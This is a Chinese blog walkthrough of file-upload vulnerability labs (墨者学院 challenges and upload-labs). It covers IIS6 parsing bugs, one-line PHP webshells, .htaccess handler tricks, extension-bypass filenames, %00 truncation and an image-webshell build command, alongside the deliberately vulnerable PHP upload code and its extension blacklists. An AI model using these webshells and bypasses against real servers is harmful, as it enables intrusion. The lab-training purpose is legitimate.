菜鸟追梦实战系列

文件上传(upload-labs详细全解)

2018-12-06  本文已影响65人  二潘

文件上传漏洞

IIS6.0 解析漏洞

在 Windows 2003下 IIS 6.0有两个漏洞。
1、目录解析

/xx.asp/xx.jpg

利用方法:在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做是.asp的文件解析来执行。

2、文件解析
Abc.asp;.jpg

利用方法:在iis6.0下,分号后面的不被解析,也就是说网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。,默认可执行的文件还包含三种:

/abc.asa

/abc.cer

/abc.cdx

IIS解析漏洞2:

IIS解析漏洞1:
  在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行

例子一:

http://219.153.49.228:49837/ 访问网站(墨者学院)


1.png

1、先确定服务器的类型,先随便上传一个.asp文件,抓包发送到repeater,从报错信息可以看到服务器类型为:Server: Microsoft-IIS/6.0

2.png

 2、修改upload目录为abc.asp,点击go


3.png

 3、到上传路径和文件名


4.png
 4、访问上传的木马文件,用菜刀链接
5.png
6.png

例子二:
上传可以看到上传的时候弹出一个弹窗,只让我们上传上面格式的文件,先看一下源码

<!doctype html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<title>Upload</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="author" content="">
<link href="static/bootstrap.css" rel="stylesheet">
<link href="static/cover.css" rel="stylesheet">
<script src="static/jquery.js"></script>
<script src="static/bootstrap.js"></script>
<script language="JavaScript">
extArray = new Array(".gif", ".jpg", ".png");
function LimitAttach(form, file) {
allowSubmit = false;
if (!file) return;
while (file.indexOf("\\") != -1)
file = file.slice(file.indexOf("\\") + 1);
ext = file.slice(file.indexOf(".")).toLowerCase();
for (var i = 0; i < extArray.length; i++) {
if (extArray[i] == ext) { allowSubmit = true; break; }
}
if (allowSubmit) form.submit();
else
alert("对不起,只能上传以下格式的文件:  " 
+ (extArray.join("  ")) + "\n请重新选择符合条件的文件"
+ "再上传.");
return false;
}
</script>
</head>
<body>
<div class="site-wrapper">
  <form class="form-signin" action="upload.php" method="post" enctype="multipart/form-data" name="upload">
    <h3>请选择文件上传:</h3>
    <input class="form-control" type="file" name="uploadfile"/>
    <input type="submit" name="submit" value="上传文件" onclick="return LimitAttach(this.form, this.form.uploadfile.value)"/>
  </form>
</div>
</body>
</html>

发现前端存在js验证,只能识别图片格式的文件进行上传,这里有两种方法:

第一种是:将一句话木马1.php的后缀名改成.jpg格式的然后进行上传,用burpsuit进行对文件格式改为1.php,上传成功后用菜刀进行链接获取shell,并找到key.

第二种是: 先在浏览器输入about:config(仅限于火狐浏览器),然后搜索java script .enabled将切换为false,这样就禁用了javascript,前端验证不起作用 ,创建一句话木马 <?Php eval($_post[‘123’])?>,直接上传,返回上传路径 uploads/1.php,然后菜刀链接

使用方法一进行测试,http://219.153.49.228:42415/ 访问网站

随便上传一张图片用burpsuite抓包,修改文件夹后缀以及在内容里面添加一句话木马


1.png

访问返回木马的路径


2.png
菜刀连
3.png

例子三:
1、上传很多次,都显示 不允许上传,后来把一句话木马写入到图片里面,然后通过burpsuit进行修改后缀,上传成功


1.png

burpsuit进行修改后缀


2.png
查看返回地址
3.png

菜刀连接

4.png

例子四:
浏览器设置代理,上传一张正常的图片,burp抓包
修改burpsuite抓到的包,在内容区域写入一句话木马,最好不要写在最前面,有可能上传的时候会检测文件头,尽量在中间写入木马


image.png

菜刀链接,找打key


image.png

例子五:
文件后缀名绕过
前提是:黑名单校验
黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

1、上传是php文件的解析规则

所以构造好php一句话木马

2、使用burpsuit进行截断攻击

简单的更改文件后缀名字发现有相应的过滤规则

image.png

3、尝试进行截断
随便构造一个后缀名字。


image.png

4、成功上传,菜刀链接


image.png

例子六:
这道题也是借助大佬的帮助才成功,具体我们来看:

1.png
先扫描一波目录看看 3.png

发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面
我们先来访问upload1.php:


image.png

点击确定后是upload2.php,竟然是一片空白


2.png
不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面
8.png

果然有这个页面,但是抓包的cookie引起了我们的注意:

Cookie: uploadmd5=verify%2F2b10f3817a8604ef.txt

我们查看源代码:


7.png

竟然还有一个隐藏的提交表单

<input type="hidden" name="verify" value="2b10f3817a8604ef"/>

我们解码这个 :2b10f3817a8604ef-----> 结果是 : 1543390594

感觉好像跟题目没有一点关系的好吧

但是我们又突然发现它是以 .txt结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传

我们直接构造 shell.php 内容为 <?php @eval($_POST["cmd"]);?> 进行上传


9.png
10.png

ok!已经成功了,可以用菜刀连接了 等等,咦路径呢?
分析数据包可能是upload_file.php....我们访问试一下


11.png
然而并不是刚刚上传的木马,木马虽然传上去了,但是路径呢,路径呢

突然想到还有一个可能包含任意文件读取的点,我们重新抓包
verify%2F2b10f3817a8604ef.txt ------> upload_file.php

12.png

分析源代码

<?php
$path="uploadfile/";//ÉÏ´«Â·¾¶  
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])  
{  
$file1=$_FILES["filename"]["name"];  
$file2 = $path.$time.'_'.$verify.'_'.$file1;  
$flag=1;  
}  
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  
if($result) echo "ÉÏ´«³É¹¦!";  

?> 

源码中发现包含了上传路径

$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  

关键在这一句,$file2 可能保存的就是文件的上传路径

$file2 = $path.$time.'_'.$verify.'_'.$file1; 

其中:

$path="uploadfile/"
 $verify=$_POST["verify"];    我想到了那个隐藏的提交表单,其中value="2b10f3817a8604ef"
 $time=date("Ymd");   Ymd不就年月日,那今天就是20181128

按照这样解释的话,路径也就是admin/uploadfile/20181128_2b10f3817a8604ef_shell.php
这样猜想的,试试看
访问,使用菜刀连接,获取key


13.png

后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看


12.png

竟然是cookie的生成过程,哈哈哈

到此为止,掌握方法,顺便告诉我们cookie的重要性

墨者学院文件上传的题目到这里就全部做完,这样就够了,显然是不够的,我又本地搭建了Upload-labs靶场进行练习

开始你的表演,先来张图压压惊


1.png

审查元素发现:是js验证

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

这时要猜测判断文件后缀的代码是在前端还是后端,打开burp进行拦截,发现点击上传后,并没有进行发包。可知判断后缀的代码在前端,即用js代码判断的,打开浏览器的审查元素,找到文件上传的js代码


3.png

发现有一个checkFile()函数,推测可能是这个函数进行判断的,我们把它删除后再上传,或者也可以通过抓包的方式修改文件后缀进行绕过


4.png
上传之后查看源码,得到上传文件的路径
1.png

访问连接,菜刀连接


5.png 3.png

这就说明只是服务器对后缀名进行验证,绕过问题不大。我们查看原代码分析下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

基础知识:

$_FILES["file"]["name"] – 被上传文件的名称
$_FILES["file"]["type"] – 被上传文件的类型
$_FILES["file"]["size"] – 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] – 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] – 由文件上传导致的错误代码


move_uploaded_file(file,newloc) 函数将上传的文件移动到新位置。
参数  描述
file    必需。规定要移动的文件。
newloc  必需。规定文件的新位置。
如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。
如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

可以看到这里采用的是后端验证文件类型, 但是他只过滤的文件类型, 并没有过滤文件后缀名, 所以可以上传 php 文件修改 content-type 绕过, 可以看到成功执行了 phpinfo


4.png
2.png
AddType application/x-httpd-php .jpg
TIM图片20181204100742.png

当然也需要apache支持
  配置文件LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All
首先上传.htaccess文件,再上传jpg文件解析成功


TIM图片20181204100742.png TIM图片20181204100742.png
注.htaccess基础知识重点内容

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None,如果我们把None改成All


3.png
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:

SetHandler application/x-httpd-php
TIM截图20181204105318.png

这样所有文件都会解析为php,然后再上传图片马,就可以解析:


TIM截图20181204112219.png

访问


TIM截图20181204112616.png
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

现在这个.htaccess是上传是不行的。分析下代码发现,他少了这么一行,出现比较严重的问题。

$file_ext = strtolower($file_ext); //转换为小写

可以看到在第五关代码中没有这个


4.png

于是可以通过大小写绕过:


1.png
发现成功上传,可以访问一下,发现成功执行:
2.png
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现依然是黑名单,但这次程序没有对文件后缀去空(其实如果程序没有对文件进行重命名的话,可以借one.php .jpg绕过白名单的)

上传一个php文件,抓包将文件名后缀加上空格,如下图


1.png

访问:


2.png
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:


1.png

访问


2.png
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

说实话第八关这个绕过方式我之前根本不知道的,就是在php+windows的情况下:如果文件名+"::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

1.png 2.png

具体原理还不是很清楚。。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

黑名单过滤,注意第15行和之前不太一样,程序先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用类似shell.php. .(两个点号之间有一个空格)绕过,如果重名名了文件的话应该会用$file_ext来进行拼凑文件,这样保存在服务器中的文件将没有后缀(去除了.空格)

$img_path = $UPLOAD_ADDR . '/' . $file_name;
1.png

访问


2.png
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过:

$file_name = str_ireplace($deny_ext,"", $file_name);
1.png

返回


2.png
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

基础补充两个函数:substr()、strrpos()

strrpos()

定义和用法
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
注释:strrpos() 函数对大小写敏感。
相关函数:
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
语法
strrpos(string,find,start)
参数  描述
string  必需。规定被搜索的字符串。
find    必需。规定要查找的字符。
start   可选。规定在何处开始搜索。
substr()

这里写代码片语法
substr(string,start,length)
参数  描述
string  必需。规定要返回其中一部分的字符串。
start   必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始  负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始
length  可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度

理解测试代码:

<?php
$a = '1.jpg';
$file_ext = substr($a,strrpos($a,".")+1);
var_dump($file_ext);
?>
返回jpg

分析代码:

 $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

发现那个路径没有处理直接拼接上去的。所以可以利用00截断绕过。但是发现怎么截断都没有用。查阅资料得知:

截断条件:
    php版本小于5.3.4 详情关注CVE-2006-7243
    php的magic_quotes_gpc为OFF状态   //如果不修改将无法上传成功,默认为ON

我本地的版本为5.2.17


1.png

开始测试:
上传文件—截断—修改文件后缀—看返回的路径


1.png
访问,成功上传
2.png
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码 
或者你也可以使用url-decode进行编码之后进行上传文件,同样可以解析成功


2.png

我们依然使用00截断方法:

1.png

来到+号对应的二进制2b将他改为00


2.png

点击go进行上传


3.png
访问
4.png

上面这种方式有一点点繁琐,下面这种方式比较好上手
选中%00—编码—点击go—即可上传成功—访问


5.png 7.png 8.png
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

发现主要是取上传文件的头两个字节判断文件类型,因此直接上传图片马即可
图片马的制作

copy normal.jpg /b + shell.php /a webshell.jpg 

上传图片马:

上一篇 下一篇

猜你喜欢

热点阅读